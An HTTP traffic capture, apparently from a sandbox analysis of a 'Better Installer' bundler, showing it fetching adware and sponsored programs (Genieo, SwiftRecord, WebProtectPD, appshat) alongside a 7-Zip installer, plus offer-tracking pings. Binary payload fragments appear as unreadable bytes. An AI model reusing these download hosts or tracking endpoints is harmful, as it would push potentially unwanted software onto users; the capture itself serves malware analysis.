.Date: Thu, 30 Apr 2015 09:27:09 GMT..Content-Length: 41..{"status":"O
K","url":null,"message":null}..



GET //MEkwRzBFMEMwQTAJBgUrDgMCGgUABBS2CA1fbGt26xPkOKX4ZguoUjM0TgQUQMK9J47MNIMwojPX+2yz8LQsgM4CCDsMjSNG/1/Z HTTP/1.1
Connection: Keep-Alive
Accept: */*
User-Agent: Microsoft-CryptoAPI/6.1
Host: ocsp.godaddy.com


HTTP/1.1 200 OK
Date: Thu, 30 Apr 2015 09:27:02 GMT
Server: Apache
Content-Transfer-Encoding: Binary
Cache-Control: max-age=115590, public, no-transform, must-revalidate
Last-Modified: Thu, 30 Apr 2015 07:14:56 GMT
Expires: Fri, 01 May 2015 19:14:56 GMT
ETag: "cde42a3c7c3e34e84557bd63559dc22397a18c3d"
P3P: CP="IDC DSP COR LAW CUR ADM DEV TAI PSA PSD IVA IVD HIS OUR SAM PUB LEG UNI COM NAV STA"
Content-Length: 1787
Connection: close
Content-Type: application/ocsp-response
0..........0..... .....0......0...0...z0x1.0...U....US1.0...U....Arizo
na1.0...U....Scottsdale1.0...U....GoDaddy Inc.1 0)..U..."Go Daddy Vali
dation Authority - G2..20150430071456Z0k0i0A0... ..........._lkv...8..
f..R34N..@..'..4.0.3..l...,....;..#F._.....20150430071456Z....20150501
191456Z0...*.H.................I...%.W.....A...w...wv.T.f.."..?r......
.....BY......U .]<....<t..~.N.^.a.Z..h.{R.R.Q.{..L...XG...Mm...\
.s..w..?I[...3d.wY...............f. .. .....=*MD.`........B;.:...X..o.
0..->-..?Z.i..d.0#.......]dq.d....#G.....x..h>u.........R..3....
c...?.......j......0...0...0..........,.z.Hl..0...*.H........0..1.0...
U....US1.0...U....Arizona1.0...U....Scottsdale1.0...U....GoDaddy.com, 
Inc.1-0 ..U...$hXXp://certs.godaddy.com/repository/1301..U...*Go Daddy
 Secure Certificate Authority - G20...150316070000Z..160316070000Z0x1.
0...U....US1.0...U....Arizona1.0...U....Scottsdale1.0...U....GoDaddy I
nc.1 0)..U..."Go Daddy Validation Authority - G20.."0...*.H...........
..0.........xo(....QQ.`L.~...&...a.F.=.....d=....."......?...\........
..b.D....l=.HS.N......A..;....C)...(..T........XA-N....k1 .....ag...,4
.L{.I..hEKb..K......!.(...7....p.O...X.._........8.B..k[4...........e.
../....^.S..7A.b.oB..\......2%.|c...A....Fk.T..24.0B...p..........0...
0...U.......0.0...U...........0...U.%..0... ......... .......0...U....
...O........f...e..r..0... .....0......0L..U...E0C0A.?.=.;hXXp://crl.g
odaddy.com/repository/mastergodaddy2issuing.crl0J..U. .C0A0?..`.H...m.
...000... ........"hXXp://crl.godaddy.com/repository/0...*.H......
<<< skipped >>>


GET /mag/ytaiesmt_smtyc_setup.exe HTTP/1.1
Range: bytes=0-
User-Agent: Better Installer(Mozilla)
Host: d2otsfra4otprh.cloudfront.net
Connection: Keep-Alive
Cache-Control: no-cache


HTTP/1.1 206 Partial Content
Content-Type: application/octet-stream
Content-Length: 1286329
Connection: keep-alive
Cache-Control: no-cache
Last-Modified: Mon, 23 Mar 2015 09:00:36 GMT
Accept-Ranges: bytes
ETag: "b8e31d44765d01:0"
Server: Microsoft-IIS/7.5
X-Powered-By: ASP.NET
Date: Sun, 19 Apr 2015 22:08:38 GMT
Content-Range: bytes 0-1286328/1286329
X-Cache: RefreshHit from cloudfront
Via: 1.1 d6fa2e1de8f392301c10fd5bb7b263c3.cloudfront.net (CloudFront)
X-Amz-Cf-Id: mWYovNvCpPO4Mkqe-hxwvg4fqM2Rj8nIN32N_vbgztPKiLNInID4hA==
MZ......................@.............................................
..!..L.!This program cannot be run in DOS mode....$.......1p.:u..iu..i
u..i...iw..iu..i...i...id..i!2.i...i...it..iRichu..i........PE..L.....
oS.................\...........2.......p....@.........................
.................................................s....................
...................................................................p..
.............................text....[.......\.................. ..`.r
data.......p.......`..............@[email protected]..........
[email protected][email protected]
..............@..@....................................................
......................................................................
......................................................................
......................................................................
......................................................................
............................................U....\.}..t .}.F.E.u..H...
[email protected]@..e...E..E.P.u....r@
..}[email protected]... M.......M....3.....FQ.....NU..M.....
.....VT..U.....FP..E...............E.P.M...Tp@[email protected]
....E..9}[email protected].}.j.W.E......E.......@[email protected]..
[email protected]<[email protected] [email protected]...\r@._
^3.[.....L$...7B...Si.....VW.T.....tO.q.3.;5.7B.sB..i......D.......t.G
.....t...O..t .....u...3....3...F.....;5.7B.r._^[...U..QQ.U.SV..i.
<<< skipped >>>


GET /partner/gim394750002/release/live/InstallGenieo.exe HTTP/1.1
Range: bytes=123551-
User-Agent: Better Installer(Mozilla)
Host: download.genieo.com
Connection: Keep-Alive
Cache-Control: no-cache


HTTP/1.1 206 Partial Content
x-amz-id-2: IwajdgNJ3lSZ9MBVFPNU3MOmABJr0x2hxqYonhjT/HWF98XP0l5VnOtuO/H113gk4UFfY6FHBH0=
x-amz-request-id: C89AAB6E83790177
Date: Thu, 30 Apr 2015 09:27:21 GMT
Last-Modified: Mon, 20 Oct 2014 09:54:42 GMT
ETag: "d65611fbc4da8cea4e886076bec82d1e"
Accept-Ranges: bytes
Content-Range: bytes 123551-988407/988408
Content-Type: application/octet-stream
Content-Length: 864857
Server: AmazonS3
.[J.w...qYt\M.Fz.4.*.......o.....1K.pE..2....CpY%...~45...'...E...o.$.
...H.h..;o.r.~.98....'...Y.E........r.....C....'!^....i.=.*.(.........
.."...s...v..u..-."...Nm2\[email protected]>.-..\....I....z
.n?.......2...^..?/...a'..".A...D6P....Q.F....<.B6.a<{\..1V..' .
..3/...a.*..MkJ.....$ ...=b.z..5...#..O.W......^O..K...s....>..6.f!
<.S.{. '..Ich...h...f...8<\<`..ff.Y;.<=......:E.f|.Aj..*nN
/....[.S.l.....U....\........k....#p........>.Nvg....c..Q.....k...p
..q....;..<.....l..<..\y....{...fH...F..... [....B...Y.'..T..w.a
..9.....cCW.'S.k.......7.CY.t.....(.)IX...W...........T.......M/......
.uzfBNU.y.....s...W,&.>B....{E...^.v...%<...R...w........<.E=
c.. [email protected]..%..M][email protected]#R..X2X.5uUZ.Q.....
.tM.k.u.O.....G.Vz...,.JZ&J.'[email protected]
[email protected]..=v.....s;.Y...Zfy..e..m.G..0..i=.Y.$..ok...I .V...,.A
...K.gB..c..,.AEfS\....;.9.J..{//>.x_.t5i.6k}....I......I....R.....
..O..d..Y6eD.kG.Aj..,.....u...2Be....WRU?.36...9..N....l;.m..y....\...
...g.m'.Q..%f.#../......Yoe.......j."&.-.WB..'W.J|2..R^p\.2}.S^.[j.3..
3M.d..}1....}.X;[..f?o.h..W...[N..Q.P.JI...fc...E..bkhW.;&.f..........
AY.p...t.....3UP.^-'G..7.e.nL .!i\q{...M.'..=.K&.-..!.9<......p.bhX
.......[Tz1.k..n.QD.....>F..$.$9x.Q..f.e_.0...j.<...d.Y..MKL....
..8.;h.w.g...Q.{q..B..f4.O...hk.bf;.[)..._...DE8C.(I/..*..z.:.....s.#O
...[)(.lA.zC...b}..P.S.X..o....Z..0.....Y.$....mu..C...J..p....I.s~z..
Kr...Y..c:....Y..a.....z%. 7L...8t^..w..d..df...Yt...9.......Ru...
<<< skipped >>>


GET /sd?is=sm HTTP/1.1
Range: bytes=130814-
User-Agent: Better Installer(Mozilla)
Host: install-cdn.theswiftrecord.com
Connection: Keep-Alive
Cache-Control: no-cache


HTTP/1.1 206 Partial Content
Pragma: no-cache
Content-Type: application/octet-stream
Server: Microsoft-IIS/7.5
Content-Disposition: attachment; filename=SwiftRecordSetup.exe
X-AspNet-Version: 4.0.30319
SVR: SP001C2
X-Powered-By: ASP.NET
p3p: CP="CAO PSA OUR"
Cache-Control: private, max-age=86400
Expires: Fri, 01 May 2015 09:23:51 GMT
Date: Thu, 30 Apr 2015 09:23:51 GMT
Content-Range: bytes 130814-523255/523256
Content-Length: 392442
Connection: keep-alive
[email protected]}R...;B...,..vgQ4...W..O&....=.....
..s../y.wa.h.0p$.Vf.J...JD..j5..........;...Y.....:k.tT=..x./....E..n.
..........$.s=.....)8p.E....B..c.$..Vj;.,.t.D|6d.B.lp.>Y.C.........
w.^|..Yx.P`N..j.RN.. ...~...Lok.....o..m%`,@,.....J.S...jM@.....#...J.
.h..U^...`.RV.,^z..1.d/>?.u.\......{.r.l....M........e.&...[.6<.
.M.......h.^...H.)..6.........../.O.]........W}. ...$..x9.9.i.......).
.~..b.T.........f...<8...C..$>YC............t..R.....`.*Q.va...q
@..........q.........Yz..`.....i...X.y...1.KQ...w,d.....4Oxn....... (.
...6.MY. .u...".Q.Fn.D..<..o..M.......&ZYJ.b5.24o...M...j..$...l>
;.`rlx~..~F6Zh..>..`...i.y..-.e.....2.. ..CCkx...&.g.....j..Y......
V.5...5.[....z.J.....R..x..u..i...|.....Y.s..-s.1.>...F.....G...YWH
.0.H.... .6=AQ.s.......%..3n.S.,..RY.D%...l.G^..Ny.QMb...>..=.1:h8.
2.......%.Qv.=.g.i.........{.~.o....5.1g[...._ .C.o.=.....%...[..[..i.
...Z/.z..i..UP.......8...sX..Y......iYI...C.(E7..S..9...H,L...e..^ N.7
...x.Qp.J.T....xz}.....&.%...<,. ..{s.=..Vp.........'./......Zv9.m.
.P.f..8....w...`..pJ....>a.'(....s'...l|t.....WO ..)3......2.....F.
..@...#.v........29.#..w.-...nN..S"w..b........4.HY.......>.v..?...
...>.#..\...sA.......W....^pS.z......9..%Q.l...7.}...[..*<  rq.L
:....[.$7=.=B.mE-......)s..KM...........!..s..xa2...v3..uF...gO.G'.B.e
..-...z#..ck{`.v....`gx....Eg........`[email protected]...'.A.....Z...LVA
Qd.q..( ...........6...6....P"..~.9......47..T.....IE..([.S.O.|o.1{Ue.
.?C^-................T9P.pb..B#.....0_B....:#....v....8<.M:A.."
<<< skipped >>>


GET /sd?is=sm HTTP/1.1
Range: bytes=196221-
User-Agent: Better Installer(Mozilla)
Host: install-cdn.theswiftrecord.com
Connection: Keep-Alive
Cache-Control: no-cache


HTTP/1.1 206 Partial Content
Pragma: no-cache
Content-Type: application/octet-stream
Server: Microsoft-IIS/7.5
Content-Disposition: attachment; filename=SwiftRecordSetup.exe
X-AspNet-Version: 4.0.30319
SVR: SP001C2
X-Powered-By: ASP.NET
p3p: CP="CAO PSA OUR"
Cache-Control: private, max-age=86400
Expires: Fri, 01 May 2015 09:27:18 GMT
Date: Thu, 30 Apr 2015 09:27:18 GMT
Content-Range: bytes 196221-523255/523256
Content-Length: 327035
Connection: keep-alive
/..**[email protected]%-P.....0L.r....P8.C?k.......4!....tqQ.nJ.\.r.v..&k...
}.9..t=;d...Fe0.....b.g.."S,......a..J0.Y:.....o..]...G..4U.Xu...L..x.
.F..8.(...C'...*`.i....9..K(..[.......!..<..3Z............,.g. '...
yO.......J-...;...._.|"..g.....jD">.........*W.l9.0....@ .C......hm
.E.m.......j.&.V...r..t-e.JW.../Q..V.1n/n...Q.z.p }Sv...t..t.....g5C:.
.&@........$\ ....i..7..C B..q..6%."..zg..3......../O...{..^.._...5...
@i.e.|i[9...qF0{.....-Mo'...p.N'....=..#........g.4.]...7....O<....
..Ag..y.....w....C.....0a.......Ui.B......]...X.X.".w=a.sa1.......I&..
x....E_.a..K.1.~.`..p{...h....S....Pz./...G.a...O...[/......j2'y.y.t..
._.4.o.....!.......%.m..q..S...A&..*b>...C........D8...b5..=.s.....
..xHc~9..5?$...g.c.]PG..m..............q....BG....|.A..Zs..;_. ...$...
[email protected].}.YC...Y....Y..%m.3.^}.."../..I
.u.[...z..>.......y.-6<.wU..%0/..7qJ.n!......r....7b!...........
P..{.6......0...oB...S0F...../..=}2i.e_/...........[.i.V.}..[..i.1....
.. .....h.).-}.{..f...u...f'0.....%........t.4......R....M.....p.,..E.
.A.o.u5b..n..&....u.<.(.(LK... .g.........#.>.O..B`.|..0.1.?....
...07....(5.'..P..d.!7...._o...<..v^&...._A3n[S.F.._..${V{....#,[..
;..<.\n.._..uH...*.I..mN&Q...N#H.q.n.=.!...48.......SN..2.4'.......
g..6WY.D......._..W*.v..=.>[email protected].........|D9i/..y.|W@......
 .8..t...M....q..x..$P..i..?%$......j...z.C..@.,p.vW..!y..v.I....~"9..
.X>......NA....5j.E...q[.....Y...h...O=cS.fU..D.]..<....r..3f...
..3..!x..[t..SO. ....u1.m{Z"..Jw....O*..SG*..?TYb......x.~.....E..
<<< skipped >>>


GET /mag/ytaiesmt_smtyc_setup.exe HTTP/1.1
Range: bytes=321583-
User-Agent: Better Installer(Mozilla)
Host: d2otsfra4otprh.cloudfront.net
Connection: Keep-Alive
Cache-Control: no-cache


HTTP/1.1 206 Partial Content
Content-Type: application/octet-stream
Content-Length: 964746
Connection: keep-alive
Cache-Control: no-cache
Last-Modified: Mon, 23 Mar 2015 09:00:36 GMT
Accept-Ranges: bytes
ETag: "b8e31d44765d01:0"
Server: Microsoft-IIS/7.5
X-Powered-By: ASP.NET
Date: Sat, 25 Apr 2015 19:35:23 GMT
Content-Range: bytes 321583-1286328/1286329
X-Cache: RefreshHit from cloudfront
Via: 1.1 f96185b1d69d6f85635bc2b5554da639.cloudfront.net (CloudFront)
X-Amz-Cf-Id: 5ba1Gatg5Q4-5C-OwaIchgtetu5HIgHYAY_18E8f7Z8xAQiWYhTTsQ==
.`../r"k>F-O../......I......(..vWPN.. ...J......."..j&.b.n.........
........V...O_.Zj...~4..T...}TMZ.....y.s.i.....G..b......[.x....,3....
Q....%.'.M.m.}........j..E...........m......>.P....y.x".G.2c....}.'
.Q.....eP../..... h....9.8m(....'}"..(.U.N.....6E.._._&J.rv...iS.....t
...^^!......g..X..$.../...|..l...!.E..Q9..#.$.I...Y..<G............
_.`TKq`....*...E.R...h............H^A.W.2=....%m..9s...p..WS ...n....6
_..U...d...N........*......aqj.......e......f...J.u.4...3...&j.=~..3..
E..x.a....X..".G.J.aQSF1..4.b..O...L.....a.[..,............8..!M......
...#v..$..Gv}h../.6o.x.:/.r..5lF....5W.4..s..\q~.D >{.wJ/..DA S....
MOb....Y'E.0..\Ah.9.....{.:...-)kj[..q.-....n>.IC..2......m-...*f"J
mmVr....".o..n....\O$..V~p*I...x[&..d{......R0.L.>C.Xn....0..]....$
..L..5=k.q.....A.l..I.'..g.....$.....u{.c......).;Ke\H..?.x...8......{
<.p.....=D.........W.....B.R.p.E....U..HM....#..S.3f<r..1|:...N"
P}O..U... .5.JZ..x..>8..m......H....E...N...Y.._.\..x...S..<..*`
=.@[email protected].......)Y.b.@H/..?..n9b......4....x["..i.wH.....c...iP7k.s.r.
........V:;M..=I.d..........K'[email protected]......
..........S....?_..F...#-Of..`:......&.. E..Rg/..{...E..f.....n...O.5.
..'zd..*.T.....A..#!"@.>.......AW...$ra....M....... <O.>l[...
....n...c.g.).*N..A=..[6q..'..2..Zg..h}........'>...^kGT......,i...
.m|y....I..V...D....#.]............s.k...E.x....Z........J?..{m.......
...T.).*.4".....cv._....7S[2O.)<.f&D.`...73t...^{.._k'..{.ref...gS.
..=(..Q.4.4F...O....J.t...9t.;..!OH$S..B....[....9....mS....'.^...
<<< skipped >>>


GET /software_files/7_zip/9_20/7z920.exe HTTP/1.1
Range: bytes=971667-
User-Agent: Better Installer(Mozilla)
Host: download.filesfrog.com
Connection: Keep-Alive
Cache-Control: no-cache



...........v.j..:].QT,.....lS....vYF..R. ...A.J....X.j.R.......n..3...
...k......}..^...wup7 *....'..>2...Z.......P......L.09....[.c..~..)
..$$"[email protected]#..a....*~.xmL8..v...G...b...7J..@..
2....CJQ,W.....m%.9.7.=..Jr.eh.pjB.......8.......T...W.vD..&Y...F.t..L
.^...P^.&..j..KQ....vU.j.......{..!.pZu....!R..\u9..<O..A.%....2..7
1.....%..<...m.......,.........f../cj...q.lz...[d.<a)*.i.-f.zzH.
[email protected];;.....:..o.I..2..r.F.&j..y..9/ F.X..CV..k.^..p.!.......\..E......
`....*.........U2....z....#_.f.y...... ...{......~."h.eIB?A...........
.....).....s...f.K<a.WW.5..Yv..Q....t...o.C_.oo....e:m....M..."&.;.
.)%..m6...\..W..I........nr.1......p2.m.i.7H{:.z...C.db....<.(.$.w7
....h]@.g.\.`/..|....E.;.e..y%6.?......C...-}.z../...Qk;.3.m...b......
...........c=J.F.K!..hj.....A....[.}..!p..m.>.....(.>s...A......
..A.[..i.u.1.9w!...X....XJ..LxY.g7k.....s.;..5=....k.....1.$.|.O.F:..1
x.v...oj".....5kK.....K1...qBo&.....t&..9..../.|........>K.=....HS.
!...*T{/@.e.-Sw......G97....p.....`P.P.O(..M....m...B..X...za."J.E....
.#..m.m{..{r.".....u.......,X..>...C....bEu..1....K....[B.t.]....Q.
05....C..,.k`?...L.j...mY....i...i/ J1.jU...L...%{.U.i..H...d.Op..."..
....On..A.,..=...,0)......X>;.4.....'%.......Q..1.M..5 eq.....pGC..
... ...y......ø..R.;X`6v...U#.e..D......h........B./[email protected].\
..q.....0Ki7,g^k....,.:....u... H.."5RB.......x.@..*.vg.._._. m.....@.
t......H.!..N|6E...k..R....l...I..y.ay.,;w.'..[,..h....$.|......fI..a.
 {13vF........0.`..=...j8.....T..5i...t...o_..h...E`.2(..l[.....A.
<<< skipped >>>


GET /mirror/web2mob/v1_1_0_6/ClientToMobilePlatform.exe HTTP/1.1
Range: bytes=0-
User-Agent: Better Installer(Mozilla)
Host: d3zcfo8zs4s5u.cloudfront.net
Cache-Control: no-cache


HTTP/1.1 206 Partial Content
Content-Type: application/octet-stream
Content-Length: 586214
Connection: keep-alive
Date: Sun, 26 Apr 2015 07:01:19 GMT
x-amz-version-id: EHxyzBQj6iiiaTOTEAKMcyCTnT95Tfxs
x-amz-meta-s3cmd-attrs: uid:500/gname:www/uname:www/gid:500/mode:33204/mtime:1404646671/atime:1404646675/ctime:1404646671
Cache-Control: max-age=3600
Last-Modified: Sun, 06 Jul 2014 11:38:15 GMT
ETag: "6ca71f0046dbb49d4aec20c15d92b5d1"
Accept-Ranges: bytes
Server: AmazonS3
Content-Range: bytes 0-586213/586214
Age: 1492
X-Cache: Hit from cloudfront
Via: 1.1 1415e6a9d308119037d1fa89386da72a.cloudfront.net (CloudFront)
X-Amz-Cf-Id: vMdx1ZaJBDMd-9se8XeLoT7KtFoNkfFXrH4iqmrQC0CWRIYZfB4HzQ==
MZ......................@.............................................
..!..L.!This program cannot be run in DOS mode....$.......1..:u..iu..i
u..i...iw..iu..i...i...id..i!..i...i...it..iRichu..i..................
......PE..L......K.................^...........0.......p....@.........
.................................................................t....
......h...............................................................
.............p...............................text...L\.......^........
.......... ..`.rdata.......p.......b..............@[email protected]\......
.....v..............@....ndata...................................rsrc.
..h............z..............@..@....................................
..................................................9][email protected]..
[email protected]@.......u....q@....
.....9].u"....B.j... .B.......M......B..c..... .B.....B..R....E..4...B
.3...;....#M..D.....<....4...B.V.......0.B..5`r@.;.t.RQ...E...D.B.;
[email protected]..<.....W..?....;.tB
j\[email protected]...|p@[email protected]:.u.9].t
.j......Wh.HC...C..W..tp@..^...j..0...S.....P..F...5...j......j.......
[email protected]][email protected].
[email protected]#.E.;.v%8.t!V.CF..;.t...,P.u..8C.....E.......9
][email protected]@.....o........j....
..PV..?...r...j1........E....V.u..E...>[email protected]..
B..P..=..P..B..V..D.....@..}..|1V.xE..3.;.t..M....QP..`[email protected]....
<<< skipped >>>


GET /pinger?event_type=offer_accepted&installer_source=better_installer&software_type=sponsored&muid=ad2252ce007468623bd139b0adec3423&client_uid=607d9b71d8f3494f867a2b514a49c4e9&uniqid=false&affiliate_id=awde7zip23008&software_id=7zip&sponsored_id=istartsurf&tokyo_csrf2_key=5962b981b5dd841405da4316fa706e5b&tokyo_csrf2_timestamp=1430385723&slot_number=2&index_in_screen=1&index_in_session=2&0.35253391287601243 HTTP/1.1
Accept: */*
Referer: hXXp://bi.bisrv.com/awde7zip23008/7zip/607d9b71d8f3494f867a2b514a49c4e9?v=2.0&muid=AD2252CE007468623BD139B0ADEC3423
Accept-Language: en-US
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)
Host: bi.bisrv.com
Connection: Keep-Alive
Cookie: __utma=1.2090475166.1430385727.1430385727.1430385727.1; __utmb=1.1.10.1430385727; __utmc=1; __utmz=1.1430385727.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utmt=1


HTTP/1.1 200 OK
Server: nginx
Date: Thu, 30 Apr 2015 09:22:38 GMT
Content-Type: image/jpeg
Transfer-Encoding: chunked
0..HTTP/1.1 200 OK..Server: nginx..Date: Thu, 30 Apr 2015 09:22:38 GMT
..Content-Type: image/jpeg..Transfer-Encoding: chunked..0..



GET /mirror/webprotectorplus/WebProtectPD.exe HTTP/1.1
Range: bytes=18232-
User-Agent: Better Installer(Mozilla)
Host: d3zcfo8zs4s5u.cloudfront.net
Connection: Keep-Alive
Cache-Control: no-cache


HTTP/1.1 206 Partial Content
Content-Type: application/octet-stream
Content-Length: 54690
Connection: keep-alive
Date: Thu, 30 Apr 2015 00:10:23 GMT
x-amz-version-id: ANdY88MOOlAc8xIaazAWro46EVDfW7Ru
x-amz-meta-s3cmd-attrs: uid:500/gname:www/uname:www/gid:500/mode:33204/mtime:1427978990/atime:1427978997/ctime:1427978990
Cache-Control: max-age=3600
Last-Modified: Thu, 02 Apr 2015 12:50:25 GMT
ETag: "80764229a410305724108417115b8ce8"
Accept-Ranges: bytes
Server: AmazonS3
Content-Range: bytes 18232-72921/72922
Age: 3332
X-Cache: Hit from cloudfront
Via: 1.1 8cd0e1b054d4e5083057646da4909e74.cloudfront.net (CloudFront)
X-Amz-Cf-Id: vHajrM-xQPDkxAYzQVkwbOh2qsNBulCTTPqbu4jKpLCbO_svBv_a8g==
[email protected]@..E......%[email protected][email protected]$..
........=`7B..t....uG.=h7B..t.........6B.h..@[email protected][email protected]$....@.
.. [email protected][email protected]@[email protected]@...t.
[email protected]$..u.WV..|[email protected]._^...U....L...S.].VW.}......W.E..........E.t.W..
0q@[email protected].......]..e..t.....'...............B.WV......}..t.h`[email protected]
.......W......?.u..=..B.\[email protected]....([email protected]...
..........j?P.......,....8.t..}..t..u..>.u..F...tc<.u..~..tYVS.F
..........t..E....<.u?.u.W......4.u.W.......u.9E.t.Wj......j.W.....
....H7B...Wj............P.u...,[email protected]...<q@..}..t..c..3.9u.t
K9u.u...H7B..>W.......t4W.5....E...PW.......u.9u.t.Wj..s...VW.5....
.Wj..b..._^[....V.t$.V.{[email protected]\[email protected].....^....D$...:L$.t
.P.. [email protected]$.V.4......8\t.PV...q@.;.w.. .@^....T$...... ..\u.
8J.t.<a|.<z...z.:[email protected] [email protected].|$.W....S......t..;:u..{.
\u.P...$..\u.8O.u.j.^j\[email protected]._^[...VW.t$....B.V.q...V..
.......u.3..RW........6B..t.....t.<\t. ....C.....t....t.V.....V.@..
.;[email protected]........._^[email protected]..'.E..u...0.$
[email protected].. [email protected]..;E.}.3._^[.........L$.V.t$...v..D$. ...
...ANu.^[email protected].$.P.t$...|p@...^[email protected]....#.Q
[email protected][email protected]...`[email protected]
[email protected]..&._^][email protected].;[email protected].
^][email protected]@[email protected][email protected]....
../...;...'....P.B.SV.t$ ..........;.......VWh|[email protected]@.....6
<<< skipped >>>


GET /partner/gim394750002/release/live/InstallGenieo.exe HTTP/1.1
Range: bytes=0-
User-Agent: Better Installer(Mozilla)
Host: download.genieo.com
Cache-Control: no-cache


HTTP/1.1 206 Partial Content
x-amz-id-2: zQL/ZTMciX37YCelibyRFrqyaIUfI38a85BD8DYUhxWpiHjUUMVlGf8SnMI7 sH/HyQan2aT0/g=
x-amz-request-id: 3E56FDB867A73DCD
Date: Thu, 30 Apr 2015 09:27:21 GMT
Last-Modified: Mon, 20 Oct 2014 09:54:42 GMT
ETag: "d65611fbc4da8cea4e886076bec82d1e"
Accept-Ranges: bytes
Content-Range: bytes 0-988407/988408
Content-Type: application/octet-stream
Content-Length: 988408
Server: AmazonS3
MZ......................@.............................................
..!..L.!This program cannot be run in DOS mode....$.......1..:u..iu..i
u..i...iw..iu..i...i...id..i!..i...i...it..iRichu..i..................
......PE..L......K.................\..........<2.......p....@......
....................................................................s.
.........P...............`............................................
................p...............................text...ZZ.......\.....
............. ..`.rdata.......p.......`..............@[email protected]........
[email protected][email protected]
rc...P............v..............@..@.................................
......................................................................
......................................................................
......................................................................
......................................................................
...............................................U....\.}..t..



GET /5946.ashx?e=PcwT4QFtuPDEA05CBT6a0ajJfooaJy9 qUlAdcY4Qxd4E7mrr1h80riKIFo3W8f23Wq7IsWCDz6 voHsg2LiKECN9h bV19VdXQO8eCkzNk9LWPkwGrB/imF904v4t2DTTuHrYVulo109x0h yMmOq3 e5cYLWVDvEq1XCmEIT/KGwMMc0gnpNgExseWQzn2EHlpLL4kVIWPRDNNTX5W4YfIeaN2K162EghD3HnQv1a/gCZD66/sdSVKFBzVQWjB05oujAfFWpTOgMsHybNe40DPXjVNm at0IWIAJRs9W/uX7BCtHf6UPtw4 /14NvCeXF a8uH5B6JyaeWsFlhCm4ldslWa se8yRPjkBZF8rSGQI7yg9q76fgRK767/K4N7Ox2sptuWqNJxXQawroNmbktPzt6FdqMa0vJ6oECP23x/pimJHbwt/saWmBvzoxegJbZL45kOeZTnxk34KukeUhRgBI9gVsKvk83x xmfUE8XIWrh60PYXV1rPYBwrFqy2cd4qoQDl0oePvh0n93CgN3uGHcox9 HTTP/1.1
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)
Host: pn61ajqijj0-g48pastf.netdna-ssl.com


HTTP/1.1 200 OK
Date: Thu, 30 Apr 2015 09:25:19 GMT
Content-Length: 0
Connection: keep-alive
Cache-Control: private, no-store
X-AspNet-Version: 4.0.30319
X-Powered-By: ASP.NET
Server: NetDNA-cache/2.2
X-Cache: MISS
HTTP/1.1 200 OK..Date: Thu, 30 Apr 2015 09:25:19 GMT..Content-Length: 
0..Connection: keep-alive..Cache-Control: private, no-store..X-AspNet-
Version: 4.0.30319..X-Powered-By: ASP.NET..Server: NetDNA-cache/2.2..X
-Cache: MISS..



GET /software_files/7_zip/9_20/7z920.exe HTTP/1.1
Range: bytes=971667-
User-Agent: Better Installer(Mozilla)
Host: download.filesfrog.com
Connection: Keep-Alive
Cache-Control: no-cache


HTTP/1.1 206 Partial Content
Server: nginx
Date: Thu, 30 Apr 2015 09:23:53 GMT
Content-Type: application/octet-stream
Content-Length: 138809
Last-Modified: Mon, 15 Oct 2012 03:33:11 GMT
Connection: close
ETag: "507b83f7-10f1cc"
Content-Range: bytes 971667-1110475/1110476
]7X..}.u...{.......)..E.x.E.|w..5.rg4.9M@.].EqZk...b...97....p...j....
...w"m.f.. g.G..C..x.q.2S.Q.. .t ...../..4mc.x.\"I.d..Q.{x............
...1..H..o..l.V..OU.......D..X.n....8.L.s..!.f..............9,d..1Y.j.
l..W.........ql.....5....9Jt.4......t...s...!.....B..UX1.R..W..Ot.....
. z.|...L'..8. .p.....d{..V..x.. ....8..P...v.........5KE3...u.'...Oc.
..&....6!...j`.b.....|_i<.Y.^...............QoM.9..y~...M"E..c...,.
......e.s.R.5qQ......O..Z...#........n.w.^...........5.!.....S.i..a..t
.;...ruQu.&r.....Bd%7...S..M..5.F#.........Y.T...M.....$.Ri.j..}_7..U.
E r..`.2././.?.r..jJ.\Wn....K..{..#.....p.....e.2l.K.).G^.l..[.....c..
...j..;...d..2~..y1;Y.........o\. .a........^.l..K. ....o.........2..z
.:...!Q.e...f.1.$2.......R9.....fo.G.fiN0A7............. ?^4.nr..A....
...#F:..ch..l..s<-Db@#.J.3.z..`kI..Z....n.).(R#vo.x.V..Z.q....i...t
O4.{.vFB...mU..6.?...a}yy7.zn......c...).A.[[email protected])..c.*O.....7.
.`...$.:q.V..l..0f.......r.1.d.e..G......4..A.e..x.. L.l..At..j.r.i...
W."gZMh..6E4~...h...."..5v.7!......:.Z.....pKf..h....nSA.5.d.{..pE.`'.
f.O.}.....r.F7$.P.01o....`.....8...Ix..|x.n.......#.~.... 7sf..#..7?.]
x.3..%.}...."..r.b..6...,.....LV%..r..[uwz.J.y:h...2..*.W.G...~.......
....v.j..:].QT,.....lS....vYF..R. ...A.J....X.j.R.......n..3......k...
...}..^...wup7 *....'..>2...Z.......P......L.09....[.c..~..)..$$".9
[email protected]#..a....*[email protected]
Q,W.....m%.9.7.=..Jr.eh.pjB.......8.......T...W.vD..&Y...F.t..L.^...P^
.&..j..KQ....vU.j.......{..!.pZu....!R..\u9..<O..A.%....2..71..
<<< skipped >>>


GET /mirror/nerocrossrider/appshat_generic.exe HTTP/1.1
Range: bytes=178475-
User-Agent: Better Installer(Mozilla)
Host: d3cu4o8yyw81v.cloudfront.net
Connection: Keep-Alive
Cache-Control: no-cache


HTTP/1.1 206 Partial Content
Content-Type: application/octet-stream
Content-Length: 107083
Connection: keep-alive
Date: Sun, 26 Apr 2015 05:03:51 GMT
x-amz-version-id: zdbgB_7owwl7Hq6LIKQBG0yBaPWISKtC
x-amz-meta-s3cmd-attrs: uid:500/gname:www/uname:www/gid:500/mode:33204/mtime:1415096893/atime:1415097003/ctime:1415096894
Cache-Control: max-age=3600
Last-Modified: Tue, 04 Nov 2014 11:01:28 GMT
ETag: "518879abe3170dabd172dfffcd165598"
Accept-Ranges: bytes
Server: AmazonS3
Content-Range: bytes 178475-285557/285558
Age: 1196
X-Cache: Hit from cloudfront
Via: 1.1 a1f7dccda76e63b2a1a4c1c034019a4b.cloudfront.net (CloudFront)
X-Amz-Cf-Id: NAYT1bx0YXxD-G3USalqEz3HZ48stS9CY9jSY4xBydxOSlAye_rkWw==
w.N>.Pq..A)...[N......B.x../.>[email protected]..
